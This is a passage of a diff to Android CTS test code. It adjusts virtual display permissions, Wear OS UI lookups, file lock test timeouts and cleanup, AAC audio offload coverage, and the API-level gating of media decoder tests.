- // These cannot be specified as part of the call as ADD_TRUSTED_DISPLAY is hidden and therefore
- // not visible to CTS.
@Rule
public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
+ InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+ CREATE_VIRTUAL_DEVICE,
+ ADD_TRUSTED_DISPLAY);
private final CountDownLatch mLatch = new CountDownLatch(1);
private final InputManager.InputDeviceListener mInputDeviceListener =
@@ -109,7 +109,9 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
@Override
public void close() {
InstrumentationRegistry.getInstrumentation().getUiAutomation()
- .adoptShellPermissionIdentity();
+ .adoptShellPermissionIdentity(
+ CREATE_VIRTUAL_DEVICE,
+ ADD_TRUSTED_DISPLAY);
}
}
@@ -149,7 +151,7 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
/* height= */ DISPLAY_HEIGHT,
/* dpi= */ 50,
/* surface= */ new Surface(new SurfaceTexture(ARBITRARY_SURFACE_TEX_ID)),
- /* flags= */ 0,
+ /* flags= */ DisplayManager.VIRTUAL_DISPLAY_FLAG_TRUSTED,
/* executor= */ Runnable::run,
/* callback= */ null);
if (mVirtualDisplay == null) {
@@ -253,12 +255,11 @@ public abstract class VirtualDeviceTestCase extends InputTestCase {
}
public VirtualDisplay createUnownedVirtualDisplay() {
- return DisplayManager.createVirtualDisplay(
- "test",
- /* width= */ DISPLAY_WIDTH,
- /* height= */ DISPLAY_HEIGHT,
- /* displayIdToMirror= */ 50,
- /* surface= */ null
- );
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+ VirtualDisplayConfig config = new VirtualDisplayConfig.Builder(
+ "testVirtualDisplay", DISPLAY_WIDTH, DISPLAY_HEIGHT, /*densityDpi=*/100)
+ .build();
+ return displayManager.createVirtualDisplay(config);
}
}
diff --git a/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt b/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
index 17aa9be651f..a6808c0977c 100644
--- a/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
+++ b/tests/tests/hibernation/src/android/hibernation/cts/AppHibernationUtils.kt
@@ -298,7 +298,7 @@ fun openUnusedAppsNotification() {
expandNotificationsWatch(UiAutomatorUtils2.getUiDevice())
waitFindObject(uiAutomation, notifSelector).click()
// In wear os, notification has one additional button to open it
- waitFindObject(uiAutomation, By.text("Open")).click()
+ waitFindObject(uiAutomation, By.textContains("Open")).click()
} else {
val permissionPkg: String = InstrumentationRegistry.getTargetContext()
.packageManager.permissionControllerPackageName
diff --git a/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt b/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
index 3c1269fce8d..75bb2146e2e 100644
--- a/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
+++ b/tests/tests/hibernation/src/android/hibernation/cts/AutoRevokeTest.kt
@@ -693,6 +693,12 @@ class AutoRevokeTest {
} else {
"Remove permissions"
}
+
+ if (hasFeatureWatch()) {
+ return waitFindObject(
+ By.checkable(true).hasDescendant(By.textStartsWith(autoRevokeText)))
+ }
+
val parent = waitFindObject(
By.clickable(true)
.hasDescendant(By.textStartsWith(autoRevokeText))
diff --git a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
index 9f78d25150f..e5b25c93b9a 100644
--- a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
+++ b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
@@ -55,7 +55,7 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
* the service. This provides ample amount of time for the service to receive the request from
* the test, then act, and respond back.
*/
- final static int MAX_WAIT_TIME = 7;
+ final static int MAX_WAIT_TIME = 20;
@Override
public void tearDown() throws Exception {
@@ -418,27 +418,30 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
private void checkTryLockBehavior(LockType localLockType, LockType remoteLockType,
ChannelType localChannelType, ChannelType remoteChannelType,
boolean expectToGetLock) throws Exception {
- IntentReceiver.resetReceiverState();
-
- // Request that the remote lock be obtained.
- getContext().startService(new Intent(getContext(), LockHoldingService.class)
- .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
- .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType));
-
- // Wait for a signal that the remote lock is definitely held.
- assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
-
- // Try to acquire the local lock in all cases and check whether it could be acquired or
- // not as expected.
- if (expectToGetLock) {
- FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
- assertNotNull(fileLock);
- assertTrue(fileLock.isValid());
- } else {
- assertNull(acquire(getContext(), localLockType, localChannelType));
+ try {
+ IntentReceiver.resetReceiverState();
+
+ // Request that the remote lock be obtained.
+ getContext().startService(new Intent(getContext(), LockHoldingService.class)
+ .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+ .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType));
+
+ // Wait for a signal that the remote lock is definitely held.
+ assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ // Try to acquire the local lock in all cases and check whether it could be acquired or
+ // not as expected.
+ if (expectToGetLock) {
+ FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
+ assertNotNull(fileLock);
+ assertTrue(fileLock.isValid());
+ } else {
+ assertNull(acquire(getContext(), localLockType, localChannelType));
+ }
+ // Release the remote lock.
+ } finally {
+ stopService();
}
- // Release the remote lock.
- stopService();
}
/**
@@ -454,76 +457,96 @@ public class FileChannelInterProcessLockTest extends AndroidTestCase {
private void checkLockBehavior(LockType localLockType, LockType remoteLockType,
ChannelType localChannelType, ChannelType remoteChannelType,
boolean expectToWait) throws Exception {
- IntentReceiver.resetReceiverState();
-
- // The amount of time the remote service should hold lock.
- long remoteLockHoldTimeMillis = 5000;
-
- // The amount of time test should get to try to acquire the lock.
- long sufficientOverlappingTimeInMillis = 2000;
-
- // This is the allowable delta in the time between the time recorded after the service
- // released the lock and the time recorded after the test obtained the lock.
- long lockReleasedAndReacquiredTimeDeltaInMillis = 500;
-
- // Tell the service to acquire a remote lock.
- Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
- .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
- .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
- .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType)
- .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
-
- getContext().startService(sendIntent);
-
- // Wait for the service to hold the lock and notify for the same.
- assertTrue(IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
-
- long localLockNotObtainedTime = System.currentTimeMillis();
-
- // Acquire the lock locally.
- FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
- long localLockObtainedTime = System.currentTimeMillis();
-
- // Wait until the remote lock has definitely been released.
- assertTrue(IntentReceiver.lockReleasedLatch.await(MAX_WAIT_TIME, SECONDS));
-
- Bundle remoteLockReleasedBundle = IntentReceiver.lockReleasedBundle;
- long remoteLockNotReleasedTime =
- remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_NOT_YET_RELEASED_TIMESTAMP);
- long remoteLockReleasedTime =
- remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_DEFINITELY_RELEASED_TIMESTAMP);
-
- // We want the test to be notified well before the service releases the lock, so that
- // we can be sure that it tried obtaining the lock before the service actually released it.
- // Therefore, a two seconds time interval provides the test to get prepare and try to obtain
- // the lock. If this fails, it doesn't mean they definitely didn't overlap
- // but we can't be sure and the test may not be valid. This is why we hold the lock
- // remotely for a long time compared to the delays we expect for intents to propagate
- // between processes.
- assertTrue(remoteLockNotReleasedTime - localLockNotObtainedTime >
- sufficientOverlappingTimeInMillis);
-
- if (expectToWait) {
-
- // The remoteLockReleaseTime is captured after the lock was released by the
- // service. The localLockObtainedTime is captured after the lock was obtained by this
- // thread. Therefore, there is a degree of slop inherent in the two times. We assert
- // that they are "close" to each other, but we cannot assert any ordering.
- assertTrue(Math.abs(localLockObtainedTime - remoteLockReleasedTime) <
- lockReleasedAndReacquiredTimeDeltaInMillis);
- } else {
- // The remoteLockNotReleaseTime is captured before the lock was released by the
- // service. The localLockObtainedTime is captured after the lock was obtained by this
- // thread. The local thread should be able to get the lock before the remote thread
- // definitely release it. If this test fails it may not indicate a problem, but it
- // indicates we cannot be sure the test was successful the local lock attempt and the
- // remote lock attempt did not overlap.
- assertTrue(localLockObtainedTime < remoteLockNotReleasedTime);
- }
+ try {
+ IntentReceiver.resetReceiverState();
- // Asserting if the fileLock is valid.
- assertTrue(fileLock.isValid());
- stopService();
+ // The amount of time the remote service should hold lock.
+ long remoteLockHoldTimeMillis = 7000;
+
+ // The amount of time test should get to try to acquire the lock.
+ long sufficientOverlappingTimeInMillis = 2000;
+
+ // This is the allowable delta in the time between the time recorded after the service
+ // released the lock and the time recorded after the test obtained the lock.
+ long lockReleasedAndReacquiredTimeDeltaInMillis = 1000;
+
+ // Tell the service to acquire a remote lock.
+ Intent sendIntent = new Intent(getContext(), LockHoldingService.class)
+ .putExtra(LockHoldingService.TIME_TO_HOLD_LOCK_KEY, remoteLockHoldTimeMillis)
+ .putExtra(LockHoldingService.LOCK_TYPE_KEY, remoteLockType)
+ .putExtra(LockHoldingService.CHANNEL_TYPE_KEY, remoteChannelType)
+ .putExtra(LockHoldingService.LOCK_BEHAVIOR_RELEASE_AND_NOTIFY_KEY, true);
+
+ getContext().startService(sendIntent);
+
+ // Wait for the service to hold the lock and notify for the same.
+ assertTrue("No remote lock held notification",
+ IntentReceiver.lockHeldLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ long localLockNotObtainedTime = System.currentTimeMillis();
+
+ // Acquire the lock locally.
+ FileLock fileLock = acquire(getContext(), localLockType, localChannelType);
+ long localLockObtainedTime = System.currentTimeMillis();
+
+ // Wait until the remote lock has definitely been released.
+ assertTrue("No remote lock release notification",
+ IntentReceiver.lockReleasedLatch.await(MAX_WAIT_TIME, SECONDS));
+
+ Bundle remoteLockReleasedBundle = IntentReceiver.lockReleasedBundle;
+ long remoteLockNotReleasedTime =
+ remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_NOT_YET_RELEASED_TIMESTAMP);
+ long remoteLockReleasedTime =
+ remoteLockReleasedBundle.getLong(LockHoldingService.LOCK_DEFINITELY_RELEASED_TIMESTAMP);
+
+ // We want the test to be notified well before the service releases the lock, so that
+ // we can be sure that it tried obtaining the lock before the service actually released it.
+ // Therefore, a two seconds time interval provides the test to get prepare and try to obtain
+ // the lock. If this fails, it doesn't mean they definitely didn't overlap
+ // but we can't be sure and the test may not be valid. This is why we hold the lock
+ // remotely for a long time compared to the delays we expect for intents to propagate
+ // between processes.
+ assertTrue(String.format("Remote lock release start (%d), " +
+ "too soon after local lock notification time (%d). " +
+ "Need at least %d ms",
+ remoteLockReleasedTime,
+ localLockNotObtainedTime,
+ sufficientOverlappingTimeInMillis
+ ),
+ remoteLockNotReleasedTime - localLockNotObtainedTime >
+ sufficientOverlappingTimeInMillis);
+
+ if (expectToWait) {
+
+ // The remoteLockReleaseTime is captured after the lock was released by the
+ // service. The localLockObtainedTime is captured after the lock was obtained by this
+ // thread. Therefore, there is a degree of slop inherent in the two times. We assert
+ // that they are "close" to each other, but we cannot assert any ordering.
+ assertTrue(String.format("Local lock obtained (%d) too long " +
+ "from remote lock release time (%d). " +
+ "Expected at most %d ms.",
+ localLockObtainedTime, remoteLockReleasedTime,
+ lockReleasedAndReacquiredTimeDeltaInMillis),
+ Math.abs(localLockObtainedTime - remoteLockReleasedTime) <
+ lockReleasedAndReacquiredTimeDeltaInMillis);
+ } else {
+ // The remoteLockNotReleaseTime is captured before the lock was released by the
+ // service. The localLockObtainedTime is captured after the lock was obtained by this
+ // thread. The local thread should be able to get the lock before the remote thread
+ // definitely release it. If this test fails it may not indicate a problem, but it
+ // indicates we cannot be sure the test was successful the local lock attempt and the
+ // remote lock attempt did not overlap.
+ assertTrue(String.format("Local lock obtained (%d) after " +
+ "remote lock release start (%d)",
+ localLockObtainedTime, remoteLockNotReleasedTime),
+ localLockObtainedTime < remoteLockNotReleasedTime);
+ }
+
+ // Asserting if the fileLock is valid.
+ assertTrue(fileLock.isValid());
+ } finally {
+ stopService();
+ }
}
/**
diff --git a/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a b/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a
new file mode 100644
index 00000000000..e7aa85cc945
--- /dev/null
+++ b/tests/tests/media/audio/res/raw/sine40dblong_44k_128kbps_LC.m4a
Binary files differ
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
index 9ce7f56b1fa..d56d823acaa 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioTrackOffloadTest.java
@@ -22,6 +22,7 @@ import static com.google.common.truth.Truth.assertWithMessage;
import android.annotation.Nullable;
import android.annotation.RawRes;
+import android.content.pm.PackageManager;
import android.content.res.AssetFileDescriptor;
import android.media.AudioAttributes;
import android.media.AudioFormat;
@@ -59,6 +60,19 @@ public class AudioTrackOffloadTest extends CtsAndroidTestCase {
private static final AudioAttributes DEFAULT_ATTR = new AudioAttributes.Builder().build();
+ // flag to indicate if AAC related tests need to be run or not.
+ private boolean mTestAacSupport = false;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ boolean isWatch = getContext().getPackageManager()
+ .hasSystemFeature(PackageManager.FEATURE_WATCH);
+ if (isWatch) {
+ mTestAacSupport = true;
+ }
+ }
+
public void testIsOffloadSupportedNullFormat() throws Exception {
try {
final boolean offloadableFormat = AudioManager.isOffloadedPlaybackSupported(null,
@@ -125,6 +139,15 @@ public class AudioTrackOffloadTest extends CtsAndroidTestCase {
getAudioFormatWithEncoding(AudioFormat.ENCODING_OPUS));
}
+ public void testAacLCAudioTrackOffload() throws Exception {
+ if (!mTestAacSupport) {
+ return;
+ }
+ testAudioTrackOffload(R.raw.sine40dblong_44k_128kbps_LC,
+ /* bitRateInkbps= */ 128,
+ getAudioFormatWithEncoding(AudioFormat.ENCODING_AAC_LC));
+ }
+
@CddTest(requirement="5.5.4")
public void testGaplessMP3AudioTrackOffload() throws Exception {
// sine882hz3s has a gapless delay of 576 and padding of 756.
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
index 38f7a37c6e3..c24500e2d88 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RingtoneTest.java
@@ -16,6 +16,7 @@
package android.media.audio.cts;
+import android.content.ContentProvider;
import android.content.Context;
import android.content.pm.PackageManager;
import android.media.AudioAttributes;
@@ -171,11 +172,13 @@ public class RingtoneTest extends InstrumentationTestCase {
// Test an actual ringtone
Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
assertNotNull("ringtone was unexpectedly null", uri);
- RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+ Uri uriWithUser = ContentProvider.maybeAddUserId(uri, mContext.getUserId());
+ RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE,
+ uriWithUser);
mRingtone = RingtoneManager.getRingtone(mContext, Settings.System.DEFAULT_RINGTONE_URI);
assertTrue(mRingtone.getStreamType() == AudioManager.STREAM_RING);
mRingtone.play();
- assertTrue("couldn't play ringtone " + uri, mRingtone.isPlaying());
+ assertTrue("couldn't play ringtone " + uriWithUser, mRingtone.isPlaying());
mRingtone.stop();
assertFalse(mRingtone.isPlaying());
}
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
index 93ab0d1c8bd..ac0c24ef0c2 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeOnlyTest.java
@@ -73,8 +73,9 @@ import java.util.function.Supplier;
@RunWith(AndroidJUnit4.class)
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public class DecodeOnlyTest extends MediaTestBase {
- public static final boolean IS_BOARD_AT_LEAST_U =
- SystemProperties.getInt("ro.board.api_level", Build.VERSION_CODES.CUR_DEVELOPMENT)
+ public static final boolean WAS_LAUNCHED_ON_U_OR_LATER =
+ SystemProperties.getInt("ro.product.first_api_level",
+ Build.VERSION_CODES.CUR_DEVELOPMENT)
>= Build.VERSION_CODES.UPSIDE_DOWN_CAKE;
private static final String MEDIA_DIR_STRING = WorkDir.getMediaDirString();
@@ -108,7 +109,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(AVC_VIDEO, true);
}
@@ -116,7 +118,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(VP9_VIDEO, true);
}
@@ -124,7 +127,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOnHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(HEVC_VIDEO, true);
}
@@ -132,7 +136,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(AVC_VIDEO, false);
}
@@ -140,7 +145,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(VP9_VIDEO, false);
}
@@ -148,7 +154,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledPerfectSeekInitialPeekOffHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledPerfectSeek(HEVC_VIDEO, false);
}
@@ -159,7 +166,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayHevc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(HEVC_VIDEO);
}
@@ -167,7 +175,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayAvc() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(AVC_VIDEO);
}
@@ -175,7 +184,8 @@ public class DecodeOnlyTest extends MediaTestBase {
@ApiTest(apis = {"android.media.MediaCodec#BUFFER_FLAG_DECODE_ONLY"})
public void testTunneledTrickPlayVp9() throws Exception {
// Tunnel mode requires vendor support of the DECODE_ONLY feature
- Assume.assumeTrue("Board API level is not Android 14 or later.", IS_BOARD_AT_LEAST_U);
+ Assume.assumeTrue("First API level is not Android 14 or later.",
+ WAS_LAUNCHED_ON_U_OR_LATER);
testTunneledTrickPlay(VP9_VIDEO);
}
@@ -231,7 +241,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = videoCodec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -346,7 +356,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = videoCodec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -488,7 +498,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer inputBuffer = codec.getInputBuffer(index);
int sampleSize = videoExtractor.readSampleData(inputBuffer, 0);
long presentationTime = videoExtractor.getSampleTime();
- int flags = videoExtractor.getSampleFlags();
+ int flags = 0;
if (sampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
sampleSize = 0;
@@ -787,7 +797,7 @@ public class DecodeOnlyTest extends MediaTestBase {
ByteBuffer audioInputBuffer = mAudioCodec.getInputBuffer(index);
int audioSampleSize = mAudioExtractor.readSampleData(audioInputBuffer, 0);
long presentationTime = mAudioExtractor.getSampleTime();
- int flags = mAudioExtractor.getSampleFlags();
+ int flags = 0;
if (audioSampleSize < 0) {
flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
audioSampleSize = 0;
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index b6d428327f8..cb88f684207 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -109,9 +109,10 @@ public class DecoderTest extends MediaTestBase {
private static final String TAG = "DecoderTest";
private static final String REPORT_LOG_NAME = "CtsMediaDecoderTestCases";
- private static final int BOARD_SDK_LEVEL =
- SystemProperties.getInt("ro.board.api_level", Build.VERSION_CODES.CUR_DEVELOPMENT);
- public static final boolean IS_BOARD_AT_LEAST_S = BOARD_SDK_LEVEL >= Build.VERSION_CODES.S;
+ public static final boolean WAS_LAUNCHED_ON_S_OR_LATER =
+ SystemProperties.getInt("ro.product.first_api_level",
+ Build.VERSION_CODES.CUR_DEVELOPMENT)
+ >= Build.VERSION_CODES.S;
private static boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static boolean IS_BEFORE_S = ApiLevelUtil.isBefore(Build.VERSION_CODES.S);
@@ -3531,7 +3532,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnHevc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 25);
}
@@ -3544,7 +3546,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnAvc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 25);
}
@@ -3557,7 +3560,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOnVp9() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
30);
@@ -3629,7 +3633,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffHevc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv", 25);
}
@@ -3642,7 +3647,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffAvc() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4", 25);
}
@@ -3655,7 +3661,8 @@ public class DecoderTest extends MediaTestBase {
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
public void testTunneledVideoPeekOffVp9() throws Exception {
// Requires vendor support of the TUNNEL_PEEK feature
- Assume.assumeTrue("Board API level is not Android 12 or later.", IS_BOARD_AT_LEAST_S);
+ Assume.assumeTrue("First API level is not Android 12 or later.",
+ WAS_LAUNCHED_ON_S_OR_LATER);
testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
30);
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
index ad200cd1fb9..5a9921bb18a 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/ImageReaderDecoderTest.java
@@ -33,6 +33,7 @@ import android.media.Image.Plane;
import android.media.ImageReader;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaExtractor;
@@ -363,7 +364,13 @@ public class ImageReaderDecoderTest {
mediaFormat = mExtractor.getTrackFormat(0);
mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, colorFormat);
-
